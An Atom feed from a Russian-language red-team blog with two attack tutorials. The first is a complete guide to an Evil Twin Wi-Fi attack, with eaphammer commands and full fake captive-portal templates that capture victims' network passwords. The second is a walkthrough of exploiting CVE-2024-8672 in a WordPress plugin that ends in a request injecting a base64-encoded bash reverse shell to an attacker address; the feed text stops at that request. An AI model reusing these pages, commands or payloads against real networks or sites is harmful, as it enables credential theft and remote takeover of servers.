<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>GISCYBERTEAM</title><author><name>GISCYBERTEAM</name></author><id>https://teletype.in/atom/giscyberteam</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/giscyberteam?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/giscyberteam?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-04-12T16:53:42.422Z</updated><entry><id>giscyberteam:captive_portal</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/captive_portal?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Похищение данных для подключения к Wi-Fi через Captive Portal</title><published>2025-01-22T09:22:38.279Z</published><updated>2025-01-22T09:22:38.279Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/2a/a9/2aa9a82c-1a75-455e-941d-43a4cb223716.png"></media:thumbnail><category term="pentest" label="Pentest"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/aa/54/aa543483-414a-4fc7-8274-50badc8c9de9.jpeg&quot;&gt;Наверняка каждый, кто когда-либо подключался к публичной Wi-Fi сети, сталкивался с так называемым порталом авторизации, или captive portal. В данной статье будет рассмотрен процесс создания фальшивой точки доступа (Evil Twin) с целью перехвата данных, которые жертва введет на портале авторизации нашей сети.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;7Dq1&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ALEa&quot;&gt;Наверняка каждый, кто когда-либо подключался к публичной &lt;code&gt;Wi-Fi&lt;/code&gt; сети, сталкивался с так называемым порталом авторизации, или &lt;code&gt;captive portal&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;L2j3&quot;&gt;&lt;strong&gt;Captive portal&lt;/strong&gt; — это веб-интерфейс, который появляется при попытке доступа к интернету через публичную Wi-Fi сеть. Он требует от пользователя выполнения определенных действий, таких как ввод логина и пароля, согласие с условиями использования или просмотр рекламы, прежде чем предоставить доступ к интернету.&lt;/blockquote&gt;
  &lt;p id=&quot;H54r&quot;&gt;Пример того как может выглядеть &lt;code&gt;Captive Portal&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;Twuk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a7/a8/a7a86e87-4c5d-43ba-a35a-da9556f29a5a.png&quot; width=&quot;956&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;fytH&quot;&gt;В данной статье будет рассмотрен процесс создания фальшивой точки доступа (&lt;code&gt;Evil Twin&lt;/code&gt;) с целью перехвата данных, которые жертва введет на портале авторизации нашей сети.&lt;/p&gt;
  &lt;blockquote id=&quot;HMbN&quot;&gt;Evil Twin атака на Wi-Fi — это тип кибератаки, при которой злоумышленник создает поддельную точку доступа Wi-Fi, которая выглядит как легитимная. Пользователи, подключаясь к этой фальшивой сети, могут случайно раскрыть свои личные данные, такие как пароли и другую конфиденциальную информацию. Злоумышленник может перехватывать трафик и использовать его в своих целях.&lt;/blockquote&gt;
  &lt;blockquote id=&quot;G4S2&quot;&gt;Evil Twin с Captive Portal — это более сложная версия этой атаки, где злоумышленник использует поддельный Captive Portal (веб-страницу, на которую перенаправляются пользователи для аутентификации или согласия на использование сети). После подключения к поддельной сети пользователи видят страницу, которая может имитировать легитимный портал, например, страницу входа в Wi-Fi в кафе или отеле. На этой странице злоумышленник может запрашивать ввод учетных данных, что позволяет ему получить доступ к личной информации жертвы.&lt;/blockquote&gt;
  &lt;p id=&quot;1dIV&quot;&gt;Более подробную информацию об атаках на &lt;code&gt;Wi-Fi&lt;/code&gt; сети можно найти &lt;a href=&quot;https://t.me/giscyberteam/86&quot; target=&quot;_blank&quot;&gt;здесь&lt;/a&gt; и &lt;a href=&quot;https://t.me/giscyberteam/87&quot; target=&quot;_blank&quot;&gt;здесь&lt;/a&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;J5To&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;7JXT&quot;&gt;Установка утилиты для атаки&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;FXNZ&quot;&gt;Для реализации атаки будет использована утилита &lt;a href=&quot;https://github.com/s0lst1c3/eaphammer&quot; target=&quot;_blank&quot;&gt;eaphammer&lt;/a&gt;. Если вы используете &lt;code&gt;Kali Linux&lt;/code&gt;, установку &lt;code&gt;eaphammer&lt;/code&gt; можно выполнить с помощью следующих команд:&lt;/p&gt;
  &lt;pre id=&quot;CtYN&quot;&gt;sudo apt update
sudo apt upgrade
sudo apt install eaphammer&lt;/pre&gt;
  &lt;p id=&quot;6S0a&quot;&gt;Если вы работаете с &lt;code&gt;Parrot OS&lt;/code&gt; или другой операционной системой, установку утилиты можно осуществить следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;517m&quot;&gt;git clone &amp;lt;https://github.com/s0lst1c3/eaphammer.git&amp;gt;
./parrot-setup # либо kali-setup, либо ubuntu-unattended-setup, либо raspbian-setup&lt;/pre&gt;
  &lt;p id=&quot;ksBo&quot;&gt;Более подробную информацию по установке можно найти &lt;a href=&quot;https://github.com/s0lst1c3/eaphammer/wiki/Setup-Guide&quot; target=&quot;_blank&quot;&gt;здесь&lt;/a&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Tx0f&quot;&gt;Создание страницы Captive Portal&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;PFmE&quot;&gt;Стандартная страница &lt;code&gt;Captive Portal&lt;/code&gt; имеет исключительно иллюстративный характер, и собрать какие-либо реальные данные с её помощью вряд ли удастся, так как пользователи, скорее всего, не будут вводить свои данные на подобной странице:&lt;/p&gt;
  &lt;figure id=&quot;B2E8&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7a/60/7a600c1c-4838-47a2-8e15-7a30a597f42a.png&quot; width=&quot;843&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tJHK&quot;&gt;Поэтому давайте перейдем к созданию собственного шаблона портала авторизации. Для начала разработаем простую &lt;code&gt;HTML&lt;/code&gt;-страницу, которая будет вызывать меньше подозрений. В результате запросов двумя промптами могущественному ИИ была создана следующая привлекательная страница:&lt;/p&gt;
  &lt;figure id=&quot;P6rA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/01/0e/010e811d-196b-43d0-861f-b6dcae17bb35.png&quot; width=&quot;1907&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xCvT&quot;&gt;Код страницы:&lt;/p&gt;
  &lt;pre id=&quot;P4O7&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;Wi-Fi Access&amp;lt;/title&amp;gt;
    &amp;lt;link href=&amp;quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot;&amp;gt;
    &amp;lt;style&amp;gt;
        body {
            background-color: #f8f9fa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .card {
            width: 100%;
            max-width: 400px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            border: none;
        }
        .btn-primary {
            background-color: #007bff;
            border: none;
        }
        .btn-primary:hover {
            background-color: #0056b3;
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;card p-4&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;text-center mb-4&amp;quot;&amp;gt;
            &amp;lt;img src=&amp;quot;static/giscyberteam.svg&amp;quot; alt=&amp;quot;Logo&amp;quot; class=&amp;quot;img-fluid mb-3&amp;quot; style=&amp;quot;max-height: 200px;&amp;quot;&amp;gt;
            &amp;lt;p class=&amp;quot;text-muted&amp;quot;&amp;gt;Вы были отключены от Wi-Fi сети &amp;lt;strong&amp;gt;GISCYBERTEAM&amp;lt;/strong&amp;gt;. Пожалуйста, введит&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;form&amp;gt;
            &amp;lt;div class=&amp;quot;mb-3&amp;quot;&amp;gt;
                &amp;lt;label for=&amp;quot;password&amp;quot; class=&amp;quot;form-label&amp;quot;&amp;gt;Пароль&amp;lt;/label&amp;gt;
                &amp;lt;input type=&amp;quot;password&amp;quot; name=&amp;quot;password&amp;quot; class=&amp;quot;form-control&amp;quot; id=&amp;quot;password&amp;quot; placeholder=&amp;quot;Введите пароль от сети&amp;quot; requ&amp;gt;
		            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;username&amp;quot; value=&amp;quot;undefined&amp;quot;&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class=&amp;quot;d-grid&amp;quot;&amp;gt;
                &amp;lt;button type=&amp;quot;submit&amp;quot; class=&amp;quot;btn btn-primary&amp;quot;&amp;gt;Подключиться&amp;lt;/button&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;script src=&amp;quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;Ea8B&quot;&gt;К сожалению, &lt;code&gt;eaphammer&lt;/code&gt; не поддерживает &amp;quot;сырые&amp;quot; &lt;code&gt;HTML&lt;/code&gt;-страницы и принимает только шаблоны &lt;code&gt;Jinja&lt;/code&gt;. Также следует учесть несколько важных моментов:&lt;/p&gt;
  &lt;ol id=&quot;UUDU&quot;&gt;
    &lt;li id=&quot;rbYn&quot;&gt;Все файлы, подключаемые через &lt;code&gt;CDN&lt;/code&gt; (например &lt;code&gt;Bootstrap&lt;/code&gt;), должны быть доступны локально, так как клиент в сети &lt;code&gt;Evil Twin&lt;/code&gt; не будет иметь доступа к интернету и сможет получить их только с атакуемой машины.&lt;/li&gt;
    &lt;li id=&quot;hoza&quot;&gt;Все подключаемые файлы (изображения, стили и т.д.) должны находиться в директории &lt;code&gt;static&lt;/code&gt;, иначе веб-сервер &lt;code&gt;eaphammer&lt;/code&gt; не сможет их обнаружить.&lt;/li&gt;
    &lt;li id=&quot;65jr&quot;&gt;Файл &lt;code&gt;index.html&lt;/code&gt; должен быть разделен на &lt;code&gt;body.html&lt;/code&gt; и &lt;code&gt;head.html&lt;/code&gt;, которые будут содержать соответствующие секции исходной страницы.&lt;/li&gt;
    &lt;li id=&quot;ZVMG&quot;&gt;&lt;code&gt;eaphammer&lt;/code&gt; не обрабатывает &lt;code&gt;POST&lt;/code&gt;-параметры, кроме &lt;code&gt;username&lt;/code&gt; и &lt;code&gt;password&lt;/code&gt;. Более того, оба параметра должны присутствовать в запросе. Поэтому, даже если вам не требуется собирать, например, &lt;code&gt;username&lt;/code&gt;, необходимо создать скрытый &lt;code&gt;input&lt;/code&gt; с атрибутом &lt;code&gt;name=&amp;quot;username&amp;quot;&lt;/code&gt;.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;ClHS&quot;&gt;В соответствии с указанными требованиями, давайте создадим шаблон для &lt;code&gt;captive portal&lt;/code&gt;. Мы разделим его на две части: &lt;code&gt;head.html&lt;/code&gt; и &lt;code&gt;body.html&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;FJc0&quot;&gt;Код &lt;code&gt;head.html&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;yIqx&quot;&gt;{% block head %}
&amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;Wi-Fi Access&amp;lt;/title&amp;gt;
    &amp;lt;link href=&amp;quot;{{ url_for(&amp;#x27;static&amp;#x27;, filename=&amp;#x27;bootstrap.min.css&amp;#x27;) }}&amp;quot; rel=&amp;quot;stylesheet&amp;quot;&amp;gt;
    &amp;lt;style&amp;gt;
        body {
            background-color: #f8f9fa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .card {
            width: 100%;
            max-width: 400px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            border: none;
        }
        .btn-primary {
            background-color: #007bff;
            border: none;
        }
        .btn-primary:hover {
            background-color: #0056b3;
        }
    &amp;lt;/style&amp;gt;
{% endblock %}&lt;/pre&gt;
  &lt;p id=&quot;7i5G&quot;&gt;Код &lt;code&gt;body.html&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;8FPn&quot;&gt;{% block body %}
&amp;lt;div class=&amp;quot;card p-4&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;text-center mb-4&amp;quot;&amp;gt;
            &amp;lt;img src=&amp;quot;{{ url_for(&amp;#x27;static&amp;#x27;, filename=&amp;#x27;giscyberteam.svg&amp;#x27;) }}&amp;quot; alt=&amp;quot;Logo&amp;quot; class=&amp;quot;img-fluid mb-3&amp;quot; style&amp;gt;
            &amp;lt;p class=&amp;quot;text-muted&amp;quot;&amp;gt;Вы были отключены от Wi-Fi сети &amp;lt;strong&amp;gt;GISCYBERTEAM&amp;lt;/strong&amp;gt;. Пожалуйста, введит&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;
            &amp;lt;div class=&amp;quot;mb-3&amp;quot;&amp;gt;
                &amp;lt;label for=&amp;quot;password&amp;quot; class=&amp;quot;form-label&amp;quot;&amp;gt;Пароль&amp;lt;/label&amp;gt;
                &amp;lt;input type=&amp;quot;password&amp;quot; class=&amp;quot;form-control&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; placeholder=&amp;quot;Введите паро&amp;gt;
                &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;username&amp;quot; value=&amp;quot;undefined&amp;quot;&amp;gt;
&amp;lt;/div&amp;gt;
            &amp;lt;div class=&amp;quot;d-grid&amp;quot;&amp;gt;
                &amp;lt;button type=&amp;quot;submit&amp;quot; class=&amp;quot;btn btn-primary&amp;quot;&amp;gt;Подключиться&amp;lt;/button&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;script src=&amp;quot;{{ url_for(&amp;#x27;static&amp;#x27;, filename=&amp;#x27;bootstrap.bundle.min.js&amp;#x27;) }}&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
{% endblock %}&lt;/pre&gt;
  &lt;p id=&quot;cgjg&quot;&gt;Всё содержимое шаблона необходимо поместить в директорию &lt;code&gt;/usr/share/eaphammer/templates/&amp;lt;название шаблона&amp;gt;&lt;/code&gt;(в настоящем примере - &lt;code&gt;/usr/share/eaphammer/templates/giscyberteam&lt;/code&gt;).&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h3 id=&quot;9hTx&quot;&gt;Запуск Evil Twin с Captive Portal&lt;/h3&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wlzh&quot;&gt;Для запуска &lt;code&gt;Evil Twin&lt;/code&gt; с &lt;code&gt;Captive Portal&lt;/code&gt; можно использовать следующую команду:&lt;/p&gt;
  &lt;pre id=&quot;2QFa&quot;&gt;sudo eaphammer --essid GISCYBERTEAM --captive-portal --portal-template=giscyberteam --auth open --interface wlan0&lt;/pre&gt;
  &lt;p id=&quot;St0o&quot;&gt;Описание опций:&lt;/p&gt;
  &lt;p id=&quot;gByc&quot;&gt;&lt;code&gt;--essid&lt;/code&gt; - имя беспроводной сети&lt;/p&gt;
  &lt;p id=&quot;3vj1&quot;&gt;&lt;code&gt;--captive-portal&lt;/code&gt; - указывает &lt;code&gt;eaphammer&lt;/code&gt;, что после подключения к сети клиента необходимо направить на портал авторизации&lt;/p&gt;
  &lt;p id=&quot;zrwU&quot;&gt;&lt;code&gt;--portal-template&lt;/code&gt; - указывает название шаблона &lt;code&gt;captive portal&lt;/code&gt;. Фактически это название директории из &lt;code&gt;/usr/share/eaphammer/templates&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;7jVW&quot;&gt;&lt;code&gt;--auth&lt;/code&gt; - метод аутентификации (в настоящем примере &lt;code&gt;open&lt;/code&gt;, что значит подключение осуществляется без пароля&lt;/p&gt;
  &lt;p id=&quot;BfAZ&quot;&gt;&lt;code&gt;--interface&lt;/code&gt; - название интерфейса &lt;code&gt;Wi-Fi&lt;/code&gt; адаптера, на котором будет поднята точка доступа&lt;/p&gt;
  &lt;blockquote id=&quot;RzTJ&quot;&gt;Атака требует наличие адаптера Wi-Fi, способного поднимать собственную точку доступа (AP - Access Point).&lt;/blockquote&gt;
  &lt;p id=&quot;sPpD&quot;&gt;После запуска утилиты можно будет подключиться к фальшивой точке доступа:&lt;/p&gt;
  &lt;figure id=&quot;O8pL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2f/d4/2fd4458c-9738-4524-9d9a-5c3483db6c54.gif&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wiak&quot;&gt;В случае ввода данных пользователем они появятся в выводе &lt;code&gt;eaphammer&lt;/code&gt;’a:&lt;/p&gt;
  &lt;figure id=&quot;mO3u&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/be/4e/be4eb18c-9ef6-4f91-8c07-6be895447a19.png&quot; width=&quot;1253&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;bNcC&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;NQ89&quot;&gt;В заключение, в данной статье была рассмотрена атака &lt;code&gt;Evil Twin&lt;/code&gt;, реализованная через &lt;code&gt;Captive Portal&lt;/code&gt; с использованием кастомного шаблона веб-страницы для веб-сервера &lt;code&gt;eaphammer&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;VvbT&quot;&gt;Данная атака в значительной степени основывается на принципах социальной инженерии, что подчеркивает важность повышения осведомленности пользователей о потенциальных угрозах. &lt;/p&gt;
  &lt;p id=&quot;2hYM&quot;&gt;Для эффективной защиты от подобных атак настоятельно рекомендуется проводить регулярное обучение персонала основам информационной безопасности, что позволит снизить риски и повысить уровень защиты корпоративных сетей.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:wordpress_widget_options_cve_2024_8672</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/wordpress_widget_options_cve_2024_8672?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Remote Code Execution в Widget Options (WordPress Plugin) - CVE-2024-8672</title><published>2024-12-18T11:06:04.154Z</published><updated>2024-12-18T11:09:50.149Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/3c/d1/3cd11329-f107-4acc-a50a-cc080886d411.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/ab/7d/ab7de1bf-c55c-4d95-9601-999af7caaece.jpeg&quot;&gt;8 ноября 2024 года в плагине Widget Options для WordPress, который установлен более чем на 100,000 сайтах, была выявлена критическая уязвимость с оценкой 9.9 по CVSS.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;y1N6&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;uzCO&quot;&gt;8 ноября 2024 года в плагине &lt;a href=&quot;https://ru.wordpress.org/plugins/widget-options/&quot; target=&quot;_blank&quot;&gt;Widget Options &lt;/a&gt;для &lt;code&gt;WordPress&lt;/code&gt;, который установлен более чем на &lt;code&gt;100,000 сайтах&lt;/code&gt;, была выявлена критическая уязвимость с оценкой &lt;code&gt;9.9&lt;/code&gt; по &lt;code&gt;CVSS&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;BVFg&quot;&gt;Уязвимость позволяет выполнять &lt;code&gt;удалённое исполнение вредоносного кода&lt;/code&gt; пользователю, имеющему права &amp;quot;&lt;code&gt;Contributor&lt;/code&gt;&amp;quot; и выше. Уязвимости подвержены все версии плагина ниже &lt;code&gt;4.0.7&lt;/code&gt; (включительно).&lt;/p&gt;
  &lt;blockquote id=&quot;k8gz&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Zd59&quot;&gt;Подготовка стендового окружения&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Yo8C&quot;&gt;Для работы &lt;code&gt;WordPress&lt;/code&gt; необходимо установить веб-сервер с поддержкой &lt;code&gt;PHP&lt;/code&gt;, а также поднять &lt;code&gt;MySQL&lt;/code&gt;. В качестве тестового окружения будет использоваться &lt;a href=&quot;https://www.apachefriends.org/ru/index.html&quot; target=&quot;_blank&quot;&gt;XAMPP&lt;/a&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;ABLN&quot;&gt;Установка WordPress&lt;/h3&gt;
  &lt;p id=&quot;PYdF&quot;&gt;Заходим на &lt;a href=&quot;https://wordpress.org/download/&quot; target=&quot;_blank&quot;&gt;страницу загрузки&lt;/a&gt; &lt;code&gt;WordPress&lt;/code&gt; и скачиваем последнюю версию:&lt;/p&gt;
  &lt;figure id=&quot;EqR5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/96/a6/96a697bb-4473-44bf-8626-6957221ae162.png&quot; width=&quot;1908&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3jYJ&quot;&gt;Теперь нужно разархивировать &lt;code&gt;WordPress&lt;/code&gt; и перенести его в корневой каталог веб-сервера (для &lt;code&gt;XAMPP&lt;/code&gt; - &lt;code&gt;/opt/lampp/htdocs&lt;/code&gt;):&lt;/p&gt;
  &lt;pre id=&quot;jdhf&quot;&gt;cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/&lt;/pre&gt;
  &lt;p id=&quot;mWUu&quot;&gt;Также нужно изменить владельца папки &lt;code&gt;wordpress&lt;/code&gt; на пользователя веб-сервера (в случае с &lt;code&gt;XAMPP&lt;/code&gt; - &lt;code&gt;daemon&lt;/code&gt;):&lt;/p&gt;
  &lt;pre id=&quot;SM9s&quot;&gt;sudo chown -R daemon:daemon /opt/lampp/htdocs&lt;/pre&gt;
  &lt;p id=&quot;4JDN&quot;&gt;Дальнейшая установка происходит в &lt;code&gt;GUI WordPress&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;6Xnu&quot;&gt;Чтобы перейти к нему в браузере заходим на &lt;a href=&quot;http://127.0.0.1/wordpress&quot; target=&quot;_blank&quot;&gt;http://127.0.0.1/wordpress&lt;/a&gt;:&lt;/p&gt;
  &lt;figure id=&quot;PzPa&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4e/ca/4ecaf09b-c300-408e-b93b-d3cc66123c26.png&quot; width=&quot;794&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8L1W&quot;&gt;Здесь необходимо будет указать данные для подключения к &lt;code&gt;MySQL&lt;/code&gt; (для &lt;code&gt;XAMPP&lt;/code&gt; - имя пользователя &lt;code&gt;root&lt;/code&gt; и пустой пароль), а также создать админского пользователя:&lt;/p&gt;
  &lt;figure id=&quot;OrVO&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b3/a9/b3a9c6e8-0bd5-4cf3-841b-c7df86d986b4.png&quot; width=&quot;758&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;KKoZ&quot;&gt;&lt;code&gt;WordPress&lt;/code&gt; установлен, перейдём к установке уязвимого плагина. Скачать его можно с официального &lt;a href=&quot;https://ru.wordpress.org/plugins/widget-options/advanced/&quot; target=&quot;_blank&quot;&gt;магазина плагинов WordPress&lt;/a&gt;.&lt;/p&gt;
  &lt;figure id=&quot;MNzJ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fa/db/fadb9ddc-bfbe-4c95-9347-948acdcb6440.png&quot; width=&quot;1646&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;W4py&quot;&gt;После скачивания архива необходимо добавить плагин в разделе &lt;code&gt;Plugins -&amp;gt; Installed Plugins&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;
  &lt;figure id=&quot;siir&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d4/eb/d4ebfe7d-3991-4439-880b-6b166a8c86f1.png&quot; width=&quot;1481&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;pMJk&quot;&gt;Для корректной работы плагина необходимо создать пользователя с правами &lt;code&gt;Contributor&lt;/code&gt; или выше. Это можно сделать в разделе &lt;code&gt;Users&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;qdbV&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bf/9d/bf9d3f91-bbd6-4209-9666-82a515253cb1.png&quot; width=&quot;1032&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;fLDF&quot;&gt;Эксплуатация уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;mt33&quot;&gt;Для эксплуатации уязвимости требуется предварительное получение токена &lt;code&gt;X-WP-Nonce&lt;/code&gt; для доступа к &lt;code&gt;API&lt;/code&gt;. Токен можно получить, например, в процессе редактирования поста. Для этого необходимо войти в аккаунт пользователя с правами &lt;code&gt;Contributor&lt;/code&gt; или выше, перейти в раздел &lt;code&gt;Pages&lt;/code&gt; и создать новую страницу:&lt;/p&gt;
  &lt;figure id=&quot;tB1x&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d5/7b/d57b3f09-efae-4ed5-a564-36e5b3921988.png&quot; width=&quot;1003&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;BWTu&quot;&gt;После этого открывается редактор новой страницы, который обращается к &lt;code&gt;API&lt;/code&gt; &lt;code&gt;WordPress&lt;/code&gt;, передавая заголовок &lt;code&gt;X-WP-Nonce&lt;/code&gt;, который нам и нужен:&lt;/p&gt;
  &lt;figure id=&quot;KNiY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e8/a2/e8a268b2-2a73-437d-a0be-252d9f6f4c28.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tGgy&quot;&gt;Теперь, для удалённого исполнения кода достаточно отправить &lt;code&gt;GET&lt;/code&gt; или &lt;code&gt;POST&lt;/code&gt; запрос:&lt;/p&gt;
  &lt;pre id=&quot;XvzW&quot;&gt;GET /wordpress/wp-json/wp/v2/block-renderer/core/latest-comments?context=edit&amp;amp;attributes[commentsToShow]=5&amp;amp;attributes[displayAvatar]=true&amp;amp;attributes[displayDate]=true&amp;amp;attributes[displayExcerpt]=true&amp;amp;attributes[extended_widget_opts][class][logic]=system(&amp;#x27;echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDA%2bJjE%3d%20%7c%20base64%20-d%20%7c%20bash&amp;#x27;)%3b&amp;amp;post_id=0&amp;amp;_locale=site HTTP/1.1
Host: 172.20.10.4
X-WP-Nonce: 9e522759e7
